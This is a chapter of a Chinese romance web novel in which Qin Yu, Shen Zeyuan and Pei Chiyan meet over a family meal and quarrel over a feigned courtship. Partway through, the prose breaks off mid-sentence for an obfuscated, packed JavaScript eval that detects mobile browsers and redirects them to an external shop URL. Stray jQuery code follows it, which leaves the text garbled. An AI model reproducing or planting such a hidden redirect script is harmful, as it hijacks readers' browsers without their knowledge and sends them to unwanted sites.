文趣网 > 其他小说 > 远风逢雨 > 9. 第9章
    房子里只余下他和秦雨。

    秦雨有驾照但没车,上路与新手没区别,也无法替沈智兴代劳,唯一能帮助沈智兴的,是替他招待剩下的沈泽远。两人在客厅静静坐着,不说话,可秦雨有所感知,沈泽远的心情已经烂到谷底。

    说想见他的父亲,忽然间离开,这让先前说的想念掺杂上了虚假。

    秦雨现在脑子思索迟缓,不知道如何安慰,索性慢慢逃离客厅方寸压抑之地。她进了厨房,一堆食材才刚处理,闲着也是闲着,带上围裙后就开始了。

    水龙头凝聚的水滴敲击着水池,房子里似乎只有这点声音。

    沈泽远一动不动地坐在沙发,姿势许久没变,秦雨搁下手里的胡萝卜,酝酿了一下问道,“要不要来帮忙?”

    许是心情极差,转头过来的那刻,眉心紧皱,眼神尽是不可思议的询问。秦雨想了想,依他的身份,某果酒品牌创始人,有钱有权,应当不会做饭,十指没沾过阳春水,很快打消了可笑的要求。

    “做什么?”声音同清晨冰冷的泉水一样。

    “不用了。”

    他不走,杵在厨房门口,对她的指令有点不满,秦雨看出来了,吐气叹息,“你会做什么呢?土豆丝会切吗?”

    满满的质疑。

    沈泽远将风衣脱下搭在餐桌椅背,解开衬衫袖口卷上去,露出劲瘦有力的半截手臂,手表摘了下来揣进兜里,一番架势整完,是要过来帮忙的打算。

    秦雨拿着擦丝器擦胡萝卜丝,不禁看向他,“这样吧,你来擦胡萝卜丝,我来切土豆。”

    沈泽远充耳不闻,拿了个泥土豆洗净削皮,秦雨见他不搭理非要逞强,撇撇嘴,转过身来继续擦胡萝卜丝,不忘叮嘱他,“切细点,别成土豆条了,中午不吃炸薯条。”

    身后的声响由小变大,由轻缓变急速,手起刀落,土豆丝生成了,秦雨看得一愣一愣的,没想到他竟然会做饭!

    这对吗?

    沈泽远放下刀,沉默地望向她,眼睛在说‘你自己过来看看’。

    秦雨凑近些看,跟她擦出来的胡萝卜丝一样细,如果让她来切,可能还没这样细,她做饭少,在家主要是何玉勤做饭,“还行吧。”

    听到如此中肯的的评价,沈泽远不如意,“你来切给我看看。”

    秦雨眼神躲闪,语气悬浮,“我为什么要切给你看。”

    沈智兴带来的郁闷很快飘向窗外,沈泽远看着秦雨,特别想逗她玩,“承认没我切得好很难吗?”

    秦雨仰头,朝天花板无语地翻了个白眼,“你小学生呢,什么都要比。”

    忽而声音低转,“幸亏刚才没夸,不然嘚瑟成什么样。”

    沈泽远:“……”

    厨房的菜品齐全丰富,光是把菜全部备齐备全,两个人就花费了很多时间,沈泽远一声抱怨都没有,秦雨颇有些欣慰。

    很快,楼下传来熟悉的交谈声,秦雨打开厨房窗户,裴迟言搬下行李正好抬头,秦雨连忙挥手叫他。

    听到名字,沈泽远只觉得浑身一僵,他从没见过裴迟言,沈智兴抛下他抚养的另一个人,这个人是比他还优秀吗?比他还好?

    他想,如果这个人糟糕透顶,一事无成该多好,可当他见到裴迟言的时候,那些邪恶的想法瞬间被粉碎成玻璃渣。

    裴迟言是宁城大学的大学老师,长相斯文持重,戴着一副细框眼镜,浑身上下透着股书卷气,有种高智感,说是学文学的。

    进门来,看见沈泽远也没有一丝惊讶,而是冲他微笑点头问好,想来路上已经听说他也来了,转头看向秦雨的时候,微笑的唇角加深笑意,露出深陷的酒窝。

    裴迟言张开手臂,秦雨过来拥抱他,时间挺久的,沈泽远也不清楚,这两人关系这么好吗?如果是很久没见了,也不至于抱这么久,这屋子里还有三个人呢。可是沈智兴和陈丽对此似乎习以为常,好像只有他觉得。

    他给秦雨带了礼物,急不可耐似的,想立即拿出来,一个佳能相机,秦雨很高兴,不亚于前不久拿下姚清然的合作,也不知道一个破相机有什么可高兴的。

    秦雨想要个相机拍照,大几千的东西对她来说贵又浪费,所以一直没买,裴迟言还是从她好朋友那里得知的,买了挺久,没找准时机送出去。为让秦雨坦然接受,他谎称托朋友友情价买的,没花多少钱。

    秦雨披散着长发,随手将耳后掉落的长发别回去,日光映照在她脸上,明亮又柔和,裴迟言禁不住揉揉她柔软的头发,她正垂头看说明书研究怎么用的,其实心里明白,裴迟说的话半真半假,既然他有心,她也不能不识相地拒绝。

    裴迟言又给陈丽和沈智兴带了礼物,但是不知道沈泽远会来,没备礼物,沈泽远不在乎地说不用,裴迟言问他,“你是做什么工作的?”

    沈泽远放下卷起的袖子,不走心地答,“开公司的。”

    秦雨扭头,开公司的多了,你算哪门子的?

    于是替他好好地补充道,“卖酒的。”

    沈泽远脸上乌云密布。

    他创立的品牌‘果泠’是广大年轻人群体钟爱的果酒,怎么经她的口,说得那么粗俗不着调。

    裴迟言疑惑她怎么知道,秦雨解释两人相识的过程。

    到了饭点,陈丽去厨房做饭,顺口问了声菜是谁备好的,秦雨提了声自己,又提了声沈泽远,“去不去帮忙,你不是会做饭吗?”

    沈泽远拿后脑勺对着她。

    帮着忙活了一上午,菜都备完了,还要他做,凭什么?

    秦雨接着去帮忙了,裴迟言跟在后面也进了厨房,客厅只剩下他和沈智兴,场面很是尴尬,沈泽远只好面对阳台外面。

    终于,沈智兴说去拿茶叶给他倒杯水,他才松口气想去阳台抽支烟,一时间碰倒了裴迟言放在桌边的包,哗啦啦的,一推东西倾泻而出,他只得弯腰去捡,钥匙、笔、本子、钱包、照片,一张照片,又一张照片。

    全部都是秦雨?

    一张证件照,像是高中的,穿着黑白校服,另一张是生活照,披散长发,一袭修身连衣裙。

    不是,关系好到都藏着照片?

    沈泽远不再多想,赶紧收拾好放回去,管他呢,不关他的事。

    虽然心里这么想的,但他还是会不经意地留意到,裴迟言经常注视着秦雨,在她笑着和陈丽沈智兴说话的时候,夹菜的时候,吃饭的时候,喝水的时候,和她说话时,总爱揉她的头发。

    沈泽远看得懵懵的,这头发有那么好揉么,整得他也想揉揉。

    这顿饭吃得如坐针毡,他一刻都不想多待,临走时,秦雨也要回去,裴迟言问她后面几天有没有时间再见面,沈泽远不想听他们闲聊,只想滚下楼去,朝沈智兴和陈丽礼貌性地点点头后,他便迈步走了。

    后面,秦雨跟了上来,唤了一声‘哎’,像记不住他的名字似的。

    “今天谢谢你来看沈叔。”

    他哂笑,“你现在倒是和我好好说话了。”

    秦雨抿了抿唇,“今后希望你能常来。”

    “常来干嘛?”他反问,“让你气我?”

    沈泽远站得挺拔,垂头没好气地看她,“我发现你为人做事似乎形成了一种风格,有事相求的时候,好言好语,无事相求的时候,冷言冷语,人前时而客气,人后时而冷漠。真让我猜不透,你对我的态度到底是哪种。”

    “就这样吧,我不会再来了。还有,如果沈智兴再有什么理由让你找我,你直接拒绝,我并不想再见他。”

    他从兜里摸出一盒烟,抽出一支没点燃,随后转身消失在拐角处,秦雨仿佛闻到了一丝烟味。

    她是看不惯他,但她在意的人在乎他,她能怎么办呢?

    没过几天,沈泽远收到姚清然的电话通知,说他为什么不接秦雨的电话,他才想起来,她确实打了几次电话他都挂断了,因为没理由接。

    “你怎么把电话挂了,你想不想追她啦。”

    姚清然又开始絮叨,温和的语气里难掩没救了的意味,“我跟你说,她肯定对你有意思,连你爱吃馄饨都知道,她说她包了很多馄饨想送你,结果你不理人,只能来找我了。”

    她包馄饨送他?不是在下药毒他吧?

    “你最近很忙吗?还是没备注号码,当骚扰电话了?”姚清然猜测,“你赶快给她回电话吧,抓住机会啊。”

    她怎会知道他的爱好,多半是沈智兴他们的委托,沈泽远没同姚清然和周则透露过,任何关于他父亲的事,他们是不知情的。沈泽远不情不愿地回电话,追人的表象还是要营造的,不然早早露馅又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712772|208247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是麻烦。

    “喂。”

    没声音。

    “秦雨。”沈泽远手指敲击桌面,停顿几秒,“不是给我包了馄饨么,在哪?”

    秦雨故意晾着他,等过了会才说:“自己来取。”

    “你能不能别总去找姚清然。”

    她回,“那你能不能别总不接我电话。”

    沈泽远不说话。

    “我找不着你,只能去找姚总喽。”像抓住了把柄一样得意,秦雨发现他好像有点怵姚清然,基本上姚清然说什么,他都会言听计从,这不回了电话,还是好朋友管用。

    沈泽远嗓音冷冽,“沈智兴让你送的。”

    “你要明白一位老父亲的心。”

    明白个鬼,烦!

    牙关咬了又咬,他也只能泄气地说:“去哪儿取?”

    “家呀。”

    回沈智兴的家,怎么可能,他果断给出两种选择,“要么我不去取,要么我去取,你送到小区门口。”

    手机里传来一阵叹息。

    “行吧行吧,你来取,我送下去。”秦雨深感无奈,这么多年过去了,他怎么对沈智兴还有如此深的怨气,比得过生死吗?

    临了,秦雨不忘提醒他,“你是不是忘了什么事儿?不是追我吗?有你这么追的吗?”

    挂完电话,秦雨今晚不打算加班,回到沈智兴那里取东西,裴迟言没走,请假几天回来看望二老,见秦雨来了,要一起同她去送。

    裴迟言提着沉甸甸的,装满馄饨的塑料盒,和秦雨并肩走着,这些馄饨都是二老亲手包的,早想送给沈泽远了,只是不知道他家地址。

    沈泽远这次开了车,拐个弯就看见了他们,两人有说有笑,裴迟言还伸手帮她取下头发上的落叶。

    他在路边停下车,按下车窗,大声喊道,“女朋友,我东西呢?”

    那声音大得生怕别人不知道谁是他的女朋友。

    两人视线投来。

    他下车,看见裴迟言难以置信地皱眉看他,眼神暗淡落寞,一改刚才的眉开眼笑。

    秦雨咬住下唇,愤懑地瞪他,又慌不择乱地望向裴迟言,“你别乱喊,谁是你女朋友?”

    沈泽远追求她的事,她并不当真也不往心里去,更没想过有任何结果的发生,因而不想让家人知道,特别是沈智兴一家人,万一以后和沈泽远闹些不愉快,还怎么见沈叔陈姨。

    早知道,应该先前叮嘱他的。

    “噢,喊早了,但你知道我在追求你,而且你也同意了,说……给我追你的机会。”

    ‘你不是想追我吗?现在我给你这个机会’这句她真真切切说过的话,萦绕在耳边。

    裴迟言偏头看秦雨,黯然神伤,不知怎的,沈泽远看着有点舒爽。

    “走吧,去约会。”

    约会?约你个头啊!

    可是。

    可是她也拒绝不了,如果没了这份追求,和姚总的合作能牢固多久,尽管她相信公司和自己的实力,但出门言商,仅靠实力就是打麻将四缺一。况且没了这份追求,以后有何理由见姚总,拿姚总制衡沈泽远去见沈智兴。

    一座大山叠上一座大山,秦雨没得选。

    沈泽远接过裴迟言手里的盒子,对这份重量略微诧异,但转瞬即逝,对着秦雨说:“走吧,上车。”

    总归这事掩藏不了了,秦雨无奈回头,“迟言哥,你先回去吧,我们走了。”

    黑色SUV在路上飞驰,秦雨心里的怒气值和油门一起飙升,忍不住冲他嚷嚷,“你刚才为什么那样说?你是故意的?”

    “你冲我吼什么?”沈泽远很烦躁,“我是不是和你说过,沈智兴再有什么由头找我,你直接拒绝。”

    后面那盒馄饨安静的待在座椅上。

    两人都不再说话了。

    秦雨盯着窗外闪过的街景,先松下了语气,“你带我去哪?”

    沈泽远不答,还是一幅臭脸模样,把车开得极快,过了会儿,他突然停下,扔下两个字,“下车。”

    秦雨茫然但依旧照做,刚下车站稳,他一脚油门踩走了,秦雨只好对着废气骂一句,“你有病啊!”

    幸而停在了地铁口,她可以坐地铁回家。

    沈泽远透过后视镜,看见她走进了地铁口。